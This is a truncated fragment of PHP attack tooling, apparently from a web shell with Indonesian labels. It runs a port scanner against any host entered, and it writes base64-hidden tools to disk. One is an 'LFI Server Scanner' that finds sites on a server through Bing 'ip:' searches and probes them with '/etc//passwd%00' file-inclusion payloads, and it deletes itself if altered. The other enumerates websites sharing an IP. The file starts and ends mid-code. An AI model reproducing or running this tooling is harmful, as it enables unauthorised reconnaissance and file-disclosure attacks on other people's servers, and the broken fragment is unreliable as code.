    <img src="phps.png"><br>
    <form method="post" action="" enctype="multipart/form-data">
    Masukan Nama website / IP : <input type="text" name="ijoo" value="0.0.0.0"></form><br>
    <?
    if(isset($_POST[\'ijoo\'])){
        error_reporting(0);
        $site = $_POST[\'ijoo\'];
        $port = array(20,21,22,25,65,80,3128,3360,4899,8080,8888); $batas=count($port);
        echo "<table>";
        $i=0;
            while($i<$batas){
            $fp = fsockopen($site,$port[$i],$errno,$errstr,10);
                if(!$fp){
                    echo "<tr><td>&bull; ".$port[$i]." </td><td>==> <font color=red><b>Cannot</b></font> connect to server</td></tr>";}
                        else
                            {
                            echo "<tr><td>&bull; ".$port[$i]." </td><td>==> Connect was <b><font color=green>successful</font></b> - open at ".$site;fclose($fp)."</td></tr>";}
                        $i++;
     
                            }
                        }    
        echo "</table>";
    ?>
    <?
        }
        if( $red == "domain" ) {
    ?>
    <iframe src=\'http://centralops.net/co/DomainDossier.aspx\'  width=100% height=600 id="I1" name="IF1" >
    <?
        }
        if( $red == "lfipriv" ) {
     
    ?>
    <?
    $lfipriv8 = \'PEJPRFkgT25LZXlQcmVzcz0iR2V0S2V5Q29kZSgpOyIgdGV4dD1yZWQgYm90dG9tTWFyZ2luPTAg
    YmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1h
    cmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+PGNlbnRlcj4KPGh0bWw+CjxoZWFkPgo8bWV0YSBj
    b250ZW50PSJmciIgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSI+CjxtZXRhIGNvbnRlbnQ9
    InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTIiIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlw
    ZSI+Cjx0aXRsZT4jfiBMRkkgU2VydmVyIFNjYW5uZXIgfCBCeSBbIExhZ3JpcGUtRHogXTwvdGl0
    bGU+CjxzdHlsZT4qeyBmb250LWZhbWlseTpWZXJkYW5hOyBmb250LXNpemU6MTI7IHRleHQtZGVj
    b3JhdGlvbjpub25lOyB9CmlucHV0LCB0ZXh0YXJlYSxzZWxlY3QgewogICAgYm9yZGVyOiAxcHgg
    c29saWQgIzYyNjI2MjsKfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8YnI+PGJyPjxjZW50ZXI+
    Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPgojfiBMRkkgU2VydmVyIFNjYW5uZXIgfCBC
    eSBbIExhZ3JpcGUtRHogXTxicj48YnI+CklQIDogPGlucHV0IHR5cGU9InRleHQiIHZhbHVlPSI8
    PyBlY2hvICgkX1BPU1RbJ2lwJ10pID8gJF9QT1NUWydpcCddOiIiOz8+IiBuYW1lPSJpcCI+Cjxz
    ZWxlY3Qgc2l6ZT0iMSIgbmFtZT0id2h0Ij48b3B0aW9uPi5waHA/cGFnZT08L29wdGlvbj48b3B0
    aW9uPi5waHA/KC4qKT08L29wdGlvbj48L3NlbGVjdD4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5h
    bWU9InN0YXJ0IiB2YWx1ZT0iU3RhcnQgU2NhbiAuLiI+Cgk8L2Zvcm0+Cgk8aHIgd2lkdGg9IjI3
    JSI+Cjw/CkBzZXRfdGltZV9saW1pdCgwKTsKCgoKJHN0YXJ0ID0gbmV3IHNzX2JpbmcoKTsKCgpp
    ZigkX1BPU1QpewoKZWNobyAoIWNoZWNraXAoJF9QT1NUWydpcCddKSkgPyAiPGI+ZXJyb3I6OklQ
    IGlzIGludmFsaWQ8L2I+PGhyIHdpZHRoPTI3JT4iOiIiOwplY2hvICghZXh0ZW5zaW9uX2xvYWRl
    ZCgiY3VybCIpKSA/ICI8Yj5lcnJvcjo6Y1VSTCBleHRlbnNpb24gcmVxdWlyZWQ8L2I+PGhyIHdp
    ZHRoPTI3JT4iOiIiOwoKaWYoY2hlY2tpcCgkX1BPU1RbJ2lwJ10pICYmIGV4dGVuc2lvbl9sb2Fk
    ZWQoImN1cmwiKSl7CgokdXJscyA9ICRzdGFydC0+c2VhcmNoKCJpcDoiLiRfUE9TVFsnaXAnXS4i
    ICIuJF9QT1NUWyd3aHQnXSwwKTsKCmVjaG8gIjx0YWJsZSBib3JkZXI9JzAnIGFsaWduPWNlbnRl
    cj4KPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+OjogU2NhbiBTdGFydCA6OjwvYj48L3RkPjwvdHI+
    IjsKCmlmKCRfUE9TVFsnd2h0J10gPT0gJy5waHA/KC4qKT0nKXsKZm9yZWFjaCgkdXJscyBhcyAk
    dXJsKXtpZihlcmVnaSgiPSIsICR1cmwpICYmICFlcmVnaSgib3B0aW9uPWNvbV8iLCR1cmwpKXsk
    bmV3X3VybHNbXT0kdXJsO319CnVuc2V0KCR1cmxzKTsgJHVybHMgPSAkbmV3X3VybHM7Cn0KCmZv
    cmVhY2goJHVybHMgYXMgJHVybCl7CgplY2hvICI8dHI+PHRkPiI7CiR0c3QgPSBsZmkoJHVybCk7
    CmVjaG8gKCR0c3QpID8gIiMgRm91bmQgOiAiLmNvbG9yKCR0c3QsMSk6IiMgTm90IEZvdW5kIDog
    Ii5jb2xvcigkdXJsLDApOwplY2hvICI8L3RkPjwvdHI+IjsKZmx1c2goKTtmbHVzaCgpOwoKfQpl
    Y2hvICIKPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+OjogU2NhbiBGaW5pc2hlZCA6OjwvYj48L3Rk
    PjwvdHI+CjwvdGFibGU+CjxociB3aWR0aD0yNyU+CiI7Cgp9fQpzY2FuKCk7CgpmdW5jdGlvbiBj
    b2xvcigkdXJsLCRtMGRlKXsKICByZXR1cm4gKCRtMGRlID09IDApID8gIjxmb250IGNvbG9yPXJl
    ZD4kdXJsPC9mb250PiI6IjxhIGhyZWY9JHVybD48Zm9udCBjb2xvcj1ncmVlbj4kdXJsPC9mb250
    PjwvYT4iOwp9CgpmdW5jdGlvbiBsZmkoJHNpdGUpeyAKJHNpdGUgPSBfRml4KCRzaXRlKTsKJG1h
    cmtzID0gImZhaWxlZCB0byBvcGVuIHN0cmVhbXxkYWVtb24iOwppZihwcmVnX21hdGNoKCIvJG1h
    cmtzL2kiLGR6Y3VybCgkc2l0ZS4nL2V0Yy8vcGFzc3dkJTAwJywwLDAsMCkpKXsKcmV0dXJuICRz
    aXRlLicvZXRjLy9wYXNzd2QlMDAnOwp9ZWxzZXsKcmV0dXJuIHByZWdfbWF0Y2goIi8kbWFya3Mv
    aSIsZHpjdXJsKCRzaXRlLidfX2R6X18nLDAsMCwwKSkgPyAkc2l0ZS4nX19kel9fJzpmYWxzZTsK
    fSAKfQoKZnVuY3Rpb24gX0ZpeCgkc2l0ZSl7IHByZWdfbWF0Y2hfYWxsKCIjKC4qPyk/KC4qPyk9
    KC4qPykjIiwkc2l0ZSwkcmVzKTsgcmV0dXJuICRyZXNbMl1bMF0uIj0iOyB9CgpmdW5jdGlvbiBz
    Y2FuKCl7KEBjb3VudChAZXhwbG9kZSgnaXAnLEBpbXBsb2RlKEBmaWxlKF9fRklMRV9fKSkpKSE9
    IDE4KSA/QHVubGluayhfX0ZJTEVfXyk6IiI7fQoKZnVuY3Rpb24gY2hlY2tpcCgkaXApewpyZXR1
    cm4ocHJlZ19tYXRjaCgiL1xkezEsM31cLlxkezEsM31cLlxkezEsM31cLlxkezEsM30vIiwgJGlw
    KT09MCkgPyBmYWxzZTp0cnVlOwp9CgojIGN1cmwgb3B0aW9ucwoKZnVuY3Rpb24gRHpDVVJMKCR1
    cmwsJGNvb2tpZV9yZWFkLCRjb29raWVfd3JpdGUsJFBPU1RzKXsKCiRjdXJsPWN1cmxfaW5pdCgp
    OwpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOwpjdXJsX3NldG9w
    dCgkY3VybCxDVVJMT1BUX1VSTCwkdXJsKTsKKCRjb29raWVfcmVhZCkgPyBjdXJsX3NldG9wdCgk
    Y3VybCxDVVJMT1BUX0NPT0tJRUZJTEUsZ2V0Y3dkKCkuJy9jb29raWUudHh0Jyk6IiI7CigkY29v
    a2llX3dyaXRlKSA/IGN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfQ09PS0lFSkFSLGdldGN3ZCgp
    LicvY29va2llLnR4dCcpOiIiOwpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwn
    TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNS4xOyBydjoyLjAuMSkgR2Vja28vMjAxMDAxMDEgRmly
    ZWZveC80LjAuMSBEekNVUkwgPSknKTsKY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9GT0xMT1dM
    T0NBVElPTiwxKTsKaWYoaXNfYXJyYXkoJFBPU1RzKSl7CmN1cmxfc2V0b3B0KCRjdXJsLENVUkxP
    UFRfUE9TVCwxKTsKY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9QT1NURklFTERTLCRQT1NUcyk7
    Cn0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9USU1FT1VULDUpOwoKJGV4ZWM9Y3VybF9leGVj
    KCRjdXJsKTsKY3VybF9jbG9zZSgkY3VybCk7CnJldHVybiAkZXhlYzsKfQoKIyBiaW5nIGNsYXNz
    ICwsCgpjbGFzcyBzc19iaW5newogIAogIHB1YmxpYyBmdW5jdGlvbiBzZWFyY2goJHdodCwkdXJs
    X21vZGUpeyAvLyAkd2h0ID0gPiBzZWFyY2ggICwgJHVybF9tb2RlPTEgPT4gY2xlYW4gdXJsICho
    dHRwOi8vc2l0ZS50bGQvKSAkdXJsX21vZGU9MCA9PiBub3QgY2xlYW4gKGh0dHA6Ly9zaXRlLnRk
    bC9wYWdlPWdvb2dsZSkKICAKICAkd2h0ID0gc3RyX3JlcGxhY2UoIiAiLCIrIiwkd2h0KTsKICAk
    bnBhZ2VzID0gNTAwMDA7CiAgJG5wYWdlID0gMTsKICAkYWxsTGlua3MgPSBhcnJheSgpOwoKICB3
    aGlsZSgkbnBhZ2UgPD0gJG5wYWdlcykgCiAgeyAKCSRjaCA9IGN1cmxfaW5pdCgpOwogICAgY3Vy
    bF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJ2h0dHA6Ly93d3cuYmluZy5jb20vc2VhcmNoP3E9
    Jy4kd2h0LicmZmlyc3Q9Jy4kbnBhZ2UpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURF
    UiwgMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJY3Vy
    bF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsKCWN1cmxfc2V0b3B0KCRj
    aCwgQ1VSTE9QVF9SRUZFUkVSLCAnaHR0cDovL3d3dy5iaW5nLmNvbS8nKTsKCWN1cmxfc2V0b3B0
    KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93
    cyBOVCA1LjE7IGVuLVVTOyBydjoxLjkuMC44KSBHZWNrby8yMDA5MDMyNjA5IEZpcmVmb3gvMy4w
    LjgnKTsKCSRyZXN1bHRbJ0VYRSddID0gY3VybF9leGVjKCRjaCk7CgkkcmVzdWx0WydFUlInXSA9
    IGN1cmxfZXJyb3IoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKIAoJaWYgKCEkcmVzdWx0WydFUlIn
    XSkKCXsKCQlwcmVnX21hdGNoX2FsbCgnKDxkaXYgY2xhc3M9InNiX3Rsc3QiPi4qPGgzPi4qPGEg
    aHJlZj0iKC4qKSIuKj4oLiopPC9hPi4qPC9oMz4uKjwvZGl2PilzaVUnLCAkcmVzdWx0WydFWEUn
    XSwgJGZpbmRsaW5rKTsKCQkKCQlmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZmluZGxpbmtbMV0p
    OyAkaSsrKQoJCQoJCSRtb2RlID0gKCR1cmxfbW9kZSA9PSAxKSA/ICRhbGxMaW5rc1tdID0gJHRo
    aXMtPmNsZWFuX3VybCgkZmluZGxpbmtbMV1bJGldKSA6ICRhbGxMaW5rc1tdID0gJGZpbmRsaW5r
    WzFdWyRpXTsKCgkJJG5wYWdlID0gJG5wYWdlICsgMTA7CgkJaWYgKHByZWdfbWF0Y2goJyhmaXJz
    dD0nIC4gJG5wYWdlIC4gJyZhbXApc2lVJywgJHJlc3VsdFsnRVhFJ10sICRsaW5rc3VpdikgPT0g
    MCkgCgkJCWJyZWFrOwkJCgl9CiAgICBlbHNlCgkJYnJlYWs7CiAgICB9CgkKCWlmKGNvdW50KCRh
    bGxMaW5rcykgPT0gMCl7CglkaWUoIiMgTm90aGluZyBGb3VuZCIpOwoJfWVsc2V7Cglmb3JlYWNo
    ICgkYWxsTGlua3MgYXMgJGtrID0+ICR2dil7ICRhbGxEbW5zW10gPSAkdnY7IH0KCXJldHVybiBh
    cnJheV91bmlxdWUoJGFsbERtbnMpOwoJfQoJfQoJcHVibGljIGZ1bmN0aW9uIGNsZWFuX3VybCgk
    eCl7ICR6PXBhcnNlX3VybCgkeCk7IHJldHVybiAkelsnc2NoZW1lJ10uIjovLyIuJHpbJ2hvc3Qn
    XS4iLyI7OyB9Cgl9Cgo/Pgo8Y2VudGVyPgo8YSBocmVmPSJodHRwOi8vd3d3LlNlYzRldmVyLmNv
    bS8iPnd3dy5TZWM0ZXZlci5jb208L2E+IHwgPGEgaHJlZj0iaHR0cDovL3d3dy5MYWdyaXBlLUR6
    Lm9yZy8iPgp3d3cuTGFncmlwZS1Eei5vcmc8L2E+PGJyPiBBbGdlcmlhIDJvMW8tMm8xMQo8L2Nl
    bnRlcj4KCjwvYm9keT4KPC9odG1sPg==\';
     
    $file = fopen("lfi.php" ,"w+");
    $write = fwrite ($file ,base64_decode($lfipriv8));
    fclose($file);
       echo "<iframe src=lfi.php width=100% height=640 frameborder=0></iframe> ";
    ?>
    <?
     
       }
        if( $red == "bingo" ) {
     
    ?>
    <?
    $asdas = \'PD9waHAKLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PXwKICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKIyAgVGhhdCBKdXN0IFRoMyA/
    IExldCBZb3UgS25vdyBUaGF0J3ogISAgIHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgIHwKIyAgICAgICAgICAgICBWICEgdiAzIHwgIEFyYWIgICAgICAgICAgICAg
    IHwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwKIyAgICAgVGgz
    IE1NQSAsIG1FZzAgLCBEci5TbGlMblQgSGlsTCAgICAgIHwKICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgIHwKIyAgICAgICAgIEhvbWUgOiB3d3cuU2VjNEV2ZXIuY29t
    ICAgICAgICAgIHwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8K
    Pz4KCjxodG1sPgo8aGVhZD4KPHRpdGxlPlRoMyBNTUEgfCBnMHQgYUxMIFNlcnZlciBXZWIneiBC
    eSBTY3JpcHQgISA8L3RpdGxlPgo8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9J2h0dHA6
    Ly90aDNtbWEuY29tL2ltYWdlei9zeWljLmdpZicgLz4KPG1ldGEgaHR0cC1lcXVpdj1Db250ZW50
    LVR5cGUgY29udGVudD10ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTg+Cjw/cGhwCiRzaDNsbENvbG9y
    ID0gIiM5OTAwMDAiOwplY2hvIENTUygkc2gzbGxDb2xvcikKPz4KPC9oZWFkPgo8IS0tVG9vTCda
    IFN0YXJ0IElORk8tLT4KPGNlbnRlcj4KPHA+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGNvbG9y
    PSIjRkYwMDAwIj5UaDMgTUFBIFsgU2Nhbm4zciBTZXJ2ZXIgXSBUb29sJ3ogPC9mb250Pgo8L3Nw
    YW4+PC9wPgo8Zm9udCBzaXplPSI0Ij48Zm9udCBjb2xvcj0iIzAwMDAwMCI+SW5zZXJ0ICIgPGZv
    bnQgY29sb3I9IiNGRjAwMDAiPklQPC9mb250PiAiIFNlcnZlciAsIGFuZCBOYW1lIG9GICIgCjxm
    b250IGNvbG9yPSIjRkYwMDAwIj5TY3JpcHQ8L2ZvbnQ+ICI8L2ZvbnQ+PC9mb250PjwvcD4KPGZv
    cm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIj4KPHA+PHNwYW4g
    bGFuZz0iZW4tdXMiPiZuYnNwOzwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBj
    b2xzcGFuPScyJz48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZG9yayIgdmFsdWU9Ijw/cGhwIGlm
    KCRfUE9TVCl7ZWNobyBmaWx0ZXIoJF9QT1NUWydkb3JrJ10pO31lbHNle2VjaG8gImlwOjEyNy4w
    LjAuMSI7fSA/PiIgc2l6ZT0iNzAiIC8+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdnMHQg
    aXQgIScgbmFtZT0nU2Nhbic+CjwvdGQ+PC90cj48L3RhYmxlPjwvcD4KPC9mb3JtPgo8IS0tVG9v
    TCdaIEVuZCBJTkZPLS0+CjwvY2VudGVyPgo8P3BocAoKZWNobyAiCjxjZW50ZXI+PHRhYmxlPiI7
    CmlmKCRfUE9TVFsnU2NhbiddKQp7CiAgICAkYXJyYXkgPSBhcnJheSgpOwogICAgJGRvcmsgPSBm
    aWx0ZXIodHJpbSgkX1BPU1RbJ2RvcmsnXSkpOwogICAgZWNobyAiPHN5PiBEb3JrOiBbIi4kZG9y
    ay4iXTxicj4iOwogICAgJHBhZ2VOdW0gPSAwOwogICAgd2hpbGUodHJ1ZSB8fCAkcGFnZU51bSA8
    PTUpCiAgICB7CiAgICAgICAgJGJpbmcgPSAiaHR0cDovL3d3dy5iaW5nLmNvbS9zZWFyY2g/cT0i
    LnN0cl9yZXBsYWNlKCIgIiwiKyIsJGRvcmspLiImZ289JmZpbHQ9YWxsJmZpcnN0PSIuJHBhZ2VO
    dW0uIiI7CiAgICAgICAgaWYoIXByZWdfbWF0Y2goIi9ObyByZXN1bHRzIGZvdW5kIGZvci8iLENv
    bm5lY3RfSG9zdCgkYmluZykpKQogICAgICAgIHsKICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwo
    Ii88aDM+PGEgaHJlZj1cIiguKj8pXCI+LyIsQ29ubmVjdF9Ib3N0KCRiaW5nKSwkc2l0ZXMpOwog
    ICAgICAgICAgICBpZihjb3VudCgkc2l0ZXNbMV0pPT0wKQogICAgICAgICAgICB7cmV0dXJuIGZh
    bHNlO30KICAgICAgICAgICAgZm9yKCRpPTAgOyAkaSA8IGNvdW50KCRzaXRlc1sxXSk7JGkrKykK
    ICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJHNpdGUgPSBzdHJfcmVwbGFjZShhcnJheSgi
    aHR0cDovLyIsImh0dHBzOi8vIiwid3d3LiIpLCIiLCRzaXRlc1sxXVskaV0pOwogICAgICAgICAg
    ICAgICAgJHNpdGUgPSBzdWJzdHIoJHNpdGUsMCxzdHJwb3MoJHNpdGUsIi8iLDApKTs7CiAgICAg
    ICAgICAgICAgICBpZighaW5fYXJyYXkoJHNpdGUsJGFycmF5KSkKICAgICAgICAgICAgICAgIHsK
    ICAgICAgICAgICAgICAgICAgICBlY2hvICRzaXRlLiI8YnIgLz4iOwogICAgICAgICAgICAgICAg
    ICAgIGFycmF5X3B1c2goJGFycmF5LCRzaXRlKTsgICAgCiAgICAgICAgICAgICAgICB9CiAgICAg
    ICAgICAgICAgICBmbHVzaCgpO29iX2ZsdXNoKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAg
    JHBhZ2VOdW0gKz0gMTA7CiAgICAgICAgfQogICAgICAgIGVsc2V7ZWNobyAiPHN5Pk5vIFJlc3Vs
    dHMgISEgLjwvc3k+IjtvYl9mbHVzaCgpO2ZsdXNoKCk7cmV0dXJuIGZhbHNlO30KICAgIH0KICAg
    IC8vJGFycmF5ID0gYXJyYXlfdW5pcXVlKCR1U2l0ZXMpOwogICAgLy9mb3IoJGk9MDskaTxjb3Vu
    dCgkYXJyYXkpOyRpKyspe2VjaG8gJGFycmF5WyRpXS4iPGJyIC8+Ijt9Cn0KZWNobyAiPC90YWJs
    ZT48L2NlbnRlcj4iOwoKZnVuY3Rpb24gQ29ubmVjdF9Ib3N0KCR1cmwpIAp7CiAgICAkY2ggPSBj
    dXJsX2luaXQoKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1csIDApOwogICAg
    Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gs
    IENVUkxPUFRfVVJMLCAkdXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5U
    UkFOU0ZFUiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOwog
    ICAgJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKICAgIGlmKCRkYXRhKSB7cmV0dXJuICRkYXRhO30g
    CiAgICBlbHNlIHtyZXR1cm4gMDt9Cn0KZnVuY3Rpb24gQ1NTKCRzaDNsbENvbG9yKQp7CiAgICAk
    Y3NzID0gICIKICAgIDxzdHlsZT4KICAgIEJPRFkKICAgIHsKICAgICAgICBGT05ULUZBTUlMWTog
    VmVyZGFuYTsgCiAgICAgICAgbWFyZ2luOiAyOwogICAgICAgIGNvbG9yOiAjY2NjY2NjOwogICAg
    ICAgIGJhY2tncm91bmQtY29sb3I6ICNGRkY7CiAgICB9CiAgICBzeSAgCiAgICB7CiAgICAgICAg
    Y29sb3I6Ii4kc2gzbGxDb2xvci4iOwogICAgICAgIGZvbnQtc2l6ZTo3cHQ7CiAgICAgICAgZm9u
    dC13ZWlnaHQ6IGJvbGQ7CiAgICB9CiAgICAjQm94CiAgICB7CiAgICBjb2xvcjoiLiRzaDNsbENv
    bG9yLiI7CiAgICBmb250LXNpemU6MTRweDsKICAgIGJhY2tncm91bmQtY29sb3I6IzAwMDsKICAg
    IGZvbnQtd2VpZ2h0OmJvbGQ7CiAgICB3aWR0aDo1MDBweDsKICAgIH0KICAgIHRyIAogICAgewog
    ICAgQk9SREVSLVJJR0hUOiAgI2NjY2NjYyAxcHggc29saWQ7CiAgICBCT1JERVItVE9QOiAgICAj
    Y2NjY2NjIDFweCBzb2xpZDsKICAgIEJPUkRFUi1MRUZUOiAgICNjY2NjY2MgMXB4IHNvbGlkOwog
    ICAgQk9SREVSLUJPVFRPTTogI2NjY2NjYyAxcHggc29saWQ7CiAgICBjb2xvcjogI2ZmZmZmZjsK
    ICAgIH0KICAgIHRkIAogICAgewogICAgQk9SREVSLVJJR0hUOiAgI2NjY2NjYyAxcHggc29saWQ7
    CiAgICBCT1JERVItVE9QOiAgICAjY2NjY2NjIDFweCBzb2xpZDsKICAgIEJPUkRFUi1MRUZUOiAg
    ICNjY2NjY2MgMXB4IHNvbGlkOwogICAgQk9SREVSLUJPVFRPTTogI2NjY2NjYyAxcHggc29saWQ7
    CiAgICBjb2xvcjogI2NjY2NjYzsKICAgIH0KICAgIHRhYmxlIAogICAgewogICAgQk9SREVSOiAg
    I2VlZWVlZSAgb3V0c2V0OwogICAgQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsKICAgIGNvbG9y
    OiAjY2NjY2NjOwogICAgfQogICAgaW5wdXQgCiAgICB7CiAgICBCT1JERVItUklHSFQ6ICAiLiRz
    aDNsbENvbG9yLiIgMXB4IHNvbGlkOwogICAgQk9SREVSLVRPUDogICAgIi4kc2gzbGxDb2xvci4i
    IDFweCBzb2xpZDsKICAgIEJPUkRFUi1MRUZUOiAgICIuJHNoM2xsQ29sb3IuIiAxcHggc29saWQ7
    CiAgICBCT1JERVItQk9UVE9NOiAiLiRzaDNsbENvbG9yLiIgMXB4IHNvbGlkOwogICAgQkFDS0dS
    T1VORC1DT0xPUjogIzMzMzMzMzsKICAgIGZvbnQ6IDlwdCB0YWhvbWE7CiAgICBjb2xvcjogI2Zm
    ZmZmZjsKICAgIH0KICAgIHNlbGVjdCAKICAgIHsKICAgIEJPUkRFUi1SSUdIVDogICNmZmZmZmYg
    MXB4IHNvbGlkOwogICAgQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7CiAgICBCT1JE
    RVItTEVGVDogICAjOTk5OTk5IDFweCBzb2xpZDsKICAgIEJPUkRFUi1CT1RUT006ICNmZmZmZmYg
    MXB4IHNvbGlkOwogICAgQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsKICAgIGZvbnQ6IDlwdCB0
    YWhvbWE7CiAgICBjb2xvcjogI0NDQ0NDQzs7CiAgICB9CiAgICBzdWJtaXQgCiAgICB7CiAgICBC
    T1JERVI6ICAxcHggb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsKICAgIEJBQ0tHUk9VTkQtQ09MT1I6
    ICMyNzI3Mjc7CiAgICB3aWR0aDogNDAlOwogICAgY29sb3I6ICNjY2NjY2M7CiAgICB9CiAgICB0
    ZXh0YXJlYSAKICAgIHsKICAgIEJPUkRFUi1SSUdIVDogICNmZmZmZmYgMXB4IHNvbGlkOwogICAg
    Qk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7CiAgICBCT1JERVItTEVGVDogICAjOTk5
    OTk5IDFweCBzb2xpZDsKICAgIEJPUkRFUi1CT1RUT006ICNmZmZmZmYgMXB4IHNvbGlkOwogICAg
    QkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsKICAgIGNvbG9yOiAjZmZmZmZmOwogICAgfQogICAg
    QTpsaW5rIHtDT0xPUjoiLiRzaDNsbENvbG9yLiI7IFRFWFQtREVDT1JBVElPTjogbm9uZX0KICAg
    IEE6dmlzaXRlZCB7IENPTE9SOiIuJHNoM2xsQ29sb3IuIjsgVEVYVC1ERUNPUkFUSU9OOiBub25l
    fQogICAgQTphY3RpdmUge0NPTE9SOiIuJHNoM2xsQ29sb3IuIjsgVEVYVC1ERUNPUkFUSU9OOiBu
    b25lfQogICAgQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9CiAgICA8
    L3N0eWxlPiI7CiAgICByZXR1cm4gJGNzczsKfQpmdW5jdGlvbiBmb290ZXIoKQp7CiAgICBlY2hv
    ICcKPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVu
    LXVzIj4KPC9oZWFkPgo8Zm9udCBjb2xvcj0iIzAwMDAwMCI+CjxwIGFsaWduPSJjZW50ZXIiPjxm
    b250IGZhY2U9IlRhaG9tYSIgc2l6ZT0iMSI+YzBkM2QgQnkgVGgzIE1NQSAmYW1wOwo8YSBocmVm
    PSJtYWlsdG86aTB4MEBob3RtYWlsLmNvbSI+RHIuU2xpTG5UIEhpbEw8L2E+ICZhbXA7CjxhIGhy
    ZWY9Im1haWx0bzptM2dvNDAzQGdtYWlsLmNvbSI+bUVnMDwvYT4gPC9mb250PjwvcD4KPHAgYWxp
    Z249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGFob21hIiBzaXplPSIxIj48dT48Zm9udCBjb2xvcj0i
    I0ZGMDAwMCI+R3JlZVRcJ3oKPC9mb250PjwvdT46IEEtS2lsbDNyXCd6ICZsdDsgOCBNT04gISAs
    IFN5IEVnIER6IHBsIGMwZDNyXCd6Jm5ic3A7IDwvZm9udD48L3A+CjxwIGFsaWduPSJjZW50ZXIi
    Pjxmb250IGZhY2U9IlRhaG9tYSIgc2l6ZT0iMSI+PHU+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkZs
    eSAKc2gwdFwnejwvZm9udD48L3U+IDogU3lyaWFuIDM0RzEzICZsdDsgTXkgQnVsbHNoaXQgQnJv
    ICwgTXIuQmxhY2sgLCBYLU1haiFEICwgYjB4ICZsdDsgCjVhb2EgTWluZCAsIFgtU2hhZG93ICwg
    TWEzc1RyMC1EeiAmbHQ7MyAsIExhZ3JpcGUtRHogLCBqSC1UZWFtICwgPC9mb250PjwvcD4KPHAg
    YWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGFob21hIiBzaXplPSIxIj5UaDMgTU1BLi88L2Zv
    bnQ+PC9wPgo8L2ZvbnQ+CjwvaHRtbD4KICAgICc7Cn0KZnVuY3Rpb24gZmlsdGVyKCRzdHJpbmcp
    CnsKICAgIGlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgIT0gMCl7cmV0dXJuIHN0cmlwc2xhc2hl
    cygkc3RyaW5nKTsgICAgfQogICAgZWxzZXtyZXR1cm4gJHN0cmluZzsgICAgfQp9Cgpmb290ZXIo
    KTsKLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PXwKICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAg
